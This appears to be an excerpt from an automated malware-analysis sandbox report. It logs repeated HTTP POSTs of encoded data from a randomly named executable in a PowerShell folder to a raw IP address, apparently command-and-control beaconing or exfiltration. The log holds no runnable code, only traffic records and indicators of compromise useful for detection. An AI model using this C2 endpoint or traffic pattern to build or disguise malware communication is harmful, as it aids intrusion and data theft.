Jan 4, 2025 13:37:55.599654913 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:55.980478048 CET	2584	OUT	Data Raw: 50 5a 5f 5d 5b 5c 57 5e 5d 59 52 51 5a 59 55 5d 5f 5c 5c 44 50 50 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_][\W^]YRQZYU]_\\DPPVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-(/<41#)^)9=!6'<Y%4'>94;',.\/'^.1
Jan 4, 2025 13:37:56.512331963 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:56.648175955 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50563	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:56.765850067 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue
Jan 4, 2025 13:37:57.124808073 CET	2580	OUT	Data Raw: 50 54 5f 50 5b 5c 57 5e 5d 59 52 51 5a 5d 55 56 5f 54 5c 46 50 52 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_P[\W^]YRQZ]UV_T\FPRV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C)Z? 99&5X:!4$^3&"0: S)9 0+_1.\/'^.)
Jan 4, 2025 13:37:57.456192970 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:57.590706110 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50569	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:57.721308947 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:58.077970028 CET	2584	OUT	Data Raw: 55 55 5a 5c 5e 53 52 5a 5d 59 52 51 5a 58 55 52 5f 54 5c 49 50 55 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZ\^SRZ]YRQZXUR_T\IPUV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-),(X#9!&#6!Y"')\08%4)$,$]#%.\/'^.5
Jan 4, 2025 13:37:58.413460016 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:58.545726061 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50580	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:58.671148062 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:59.052311897 CET	2584	OUT	Data Raw: 55 52 5a 5a 5b 5f 57 5e 5d 59 52 51 5a 59 55 52 5f 5c 5c 42 50 53 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: URZZ[_W^]YRQZYUR_\\BPSVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)<0\#:"Z$09_)=Z!382$)&);=*<4',.\/'^.1
Jan 4, 2025 13:37:59.428792953 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:59.550476074 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50586	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:59.671984911 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:00.031074047 CET	2584	OUT	Data Raw: 50 54 5a 5a 5b 5c 52 5f 5d 59 52 51 5a 58 55 5d 5f 5f 5c 41 50 51 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PTZZ[\R_]YRQZXU]__\APQVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.B)<([#)%")%!.080%&3)>:3##7\2.\/'^.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50592	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:00.333616018 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:00.687314987 CET	1904	OUT	Data Raw: 55 52 5f 5e 5e 5c 52 5c 5d 59 52 51 5a 5b 55 5d 5f 5f 5c 43 50 5d 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_^^\R\]YRQZ[U]__\CP]VS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)<3 9&]&%_1!0+%W3:;(3"3?\2,.\/'^.9
Jan 4, 2025 13:38:01.049248934 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:01.187457085 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 26 01 20 2d 2d 58 37 04 34 18 27 07 24 0e 35 5e 36 0b 2d 31 2b 00 27 24 2d 1b 3f 32 23 1e 21 39 39 10 28 11 37 1c 26 23 3e 0f 31 3a 2c 5b 04 1f 20 42 36 59 2d 5f 39 2c 2b 5d 38 0c 25 5e 24 2e 3f 01 29 2c 0a 08 20 20 3c 5b 2b 04 3d 53 33 3a 27 11 3e 5c 28 05 33 23 20 58 25 01 2b 5e 02 15 27 00 29 04 39 0b 21 2e 07 1f 31 0f 0f 0f 33 1b 01 0e 34 38 37 54 3d 2a 21 04 25 3f 2f 0c 20 27 3d 1b 21 3c 3d 02 20 16 2b 54 32 03 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: & --X74'$5^6-1+'$-?2#!99(7&#>1:,[ B6Y-_9,+]8%^$.?), <[+=S3:'>\(3# X%+^')9!.13487T=*!%?/ '=!<= +T2%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50593	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:00.455845118 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:00.812309027 CET	2584	OUT	Data Raw: 50 5a 5f 59 5e 5b 52 5b 5d 59 52 51 5a 5e 55 51 5f 58 5c 47 50 50 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_Y^[R[]YRQZ^UQ_X\GPPV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A(,849>[$3!))-"^%+#249Q$9*)8Y482<.\/'^.-
Jan 4, 2025 13:38:01.168361902 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:01.290379047 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50599	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:01.442172050 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:01.802685976 CET	2584	OUT	Data Raw: 50 5a 5f 5a 5b 58 57 58 5d 59 52 51 5a 5a 55 57 5f 58 5c 49 50 5c 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_Z[XWX]YRQZZUW_X\IP\V\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C<(X !&0=)1X6)\$+;%'939 W=$]#0%.\/'^.
Jan 4, 2025 13:38:02.131712914 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:02.262892962 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50605	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:02.391484022 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:02.749835968 CET	2584	OUT	Data Raw: 55 55 5a 5a 5e 5d 57 58 5d 59 52 51 5a 58 55 53 5f 54 5c 40 50 57 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZZ^]WX]YRQZXUS_T\@PWVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->(Y7)>2]>:!"';8&$_,*:?4V7Y&.\/'^.5
Jan 4, 2025 13:38:03.075479984 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:03.206553936 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50612	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:03.329756975 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:03.687422991 CET	2584	OUT	Data Raw: 55 55 5f 5a 5e 5a 57 5d 5d 59 52 51 5a 5e 55 56 5f 5d 5c 48 50 57 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_Z^ZW]]YRQZ^UV_]\HPWVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.*,;"9_$0)^=: $9_0;81%&9W)$70#1<.\/'^.-
Jan 4, 2025 13:38:04.019620895 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:04.150629997 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50622	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:04.283906937 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:04.640486956 CET	2584	OUT	Data Raw: 50 57 5a 5b 5e 5e 52 5f 5d 59 52 51 5a 55 55 57 5f 5d 5c 48 50 50 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PWZ[^^R_]YRQZUUW_]\HPPV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A) 7)92V%_(:=X"!^%8 &$9W$3)9$]" %.\/'^.
Jan 4, 2025 13:38:04.975538969 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:05.104202032 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50628	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:05.236812115 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:05.593579054 CET	2584	OUT	Data Raw: 55 51 5f 5e 5e 5c 57 58 5d 59 52 51 5a 5f 55 5d 5f 55 5c 43 50 5d 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UQ_^^\WX]YRQZ_U]_U\CP]V[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=/8Y#$ 5X)\-!'=%88''&0)/# ]&<.\/'^.)
Jan 4, 2025 13:38:05.938158035 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:06.070344925 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50634	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:06.202946901 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:06.562374115 CET	2584	OUT	Data Raw: 55 52 5f 50 5b 5b 57 5b 5d 59 52 51 5a 5a 55 50 5f 5f 5c 44 50 55 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_P[[W[]YRQZZUP__\DPUV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-(<#*_$#=Y=:!$=_38Z1>$)'## ',.\/'^.
Jan 4, 2025 13:38:06.881405115 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:07.014628887 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50635	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:06.208509922 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:06.562464952 CET	1904	OUT	Data Raw: 50 56 5a 5d 5b 5f 57 50 5d 59 52 51 5a 5e 55 53 5f 5c 5c 43 50 52 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PVZ][_WP]YRQZ^US_\\CPRV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/,[#)920->9-!5]$;$1=P0T=(X#3$%,.\/'^.-
Jan 4, 2025 13:38:06.921607971 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50641	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:07.141153097 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:07.499865055 CET	2584	OUT	Data Raw: 55 57 5f 50 5b 5f 57 59 5d 59 52 51 5a 5c 55 51 5f 58 5c 44 50 57 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW_P[_WY]YRQZ\UQ_X\DPWV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-><Y#):23!)Z54-'0^'$-$V>9$Y"#4%,.\/'^.%
Jan 4, 2025 13:38:07.954622984 CET	25	IN	HTTP/1.1 100 Continue
